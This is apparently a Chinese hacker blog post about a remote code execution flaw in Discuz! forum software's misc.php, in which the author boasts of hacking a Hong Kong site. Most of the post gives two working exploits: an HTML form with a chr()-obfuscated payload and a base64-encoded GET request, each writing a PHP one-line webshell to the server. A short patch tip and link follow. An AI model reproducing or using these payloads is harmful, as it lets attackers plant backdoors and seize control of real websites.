先看我和X.DW一起搞的一个香港站!
(点击放大图片)
漏洞呢.其实1月5号时我知道了…..网上也公开速度很快!一直没有去下手做,正好听X.DW说他搞了几个站…所以我也研究了一下!
首先感谢WJS和冰冷的太阳，老君分析过了，我就不多说了，使用exp的话仅限本机测试，其他用途后果自负！
第一种方法：
先注册个用户然后把
<form method=”post” action=” http://www.xxx.com/bbs/misc.php” enctype=”multipart/form-data”>
帖子ID，指定一个存在的帖子即可：<input type=”text” name=”tid” value=”1″ />
<input type=”hidden” name=”action” value=”imme_binding” />
<input type=”hidden” name=”response[result]” value=”1:2″ />
<input type=”hidden” name=”scriptlang[1][2]” value=”${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).
chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(102).chr(111).chr(114).chr(117).
chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).
chr(47).chr(117).chr(115).chr(101).chr(114).chr(103).chr(114).chr(111).chr(117).chr(112).chr(95).
chr(48).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).
chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).
chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).
chr(63).chr(62).chr(39).chr(41).chr(59))}}” />
<input type=”submit” name=”topicsubmit” value=”提交” />
</form>
chr解码后是：value=”${${evalfputs(fopen(‘forumdata/cache/usergroup’,'w’),’<?php eval($_POST[cmd])?>’);
里面有个提交地址改下，保存html
打开点提交，会生产forumdata/cache/usergroup_01.php一句话文件，密码是cmd
第二种方法：
直接GET，利用语句：
misc.php?action=imme_binding&response[result]=aa:b&scriptlang[aa]={${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(P
D9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))}}
在根目录生成C.PHP密码是C
临时修补方法：
在common.inc.php上面加上
$response=$scriptlang=array();
官方发布修补补丁：
http://www.discuz.net/thread-1537673-1-1.html
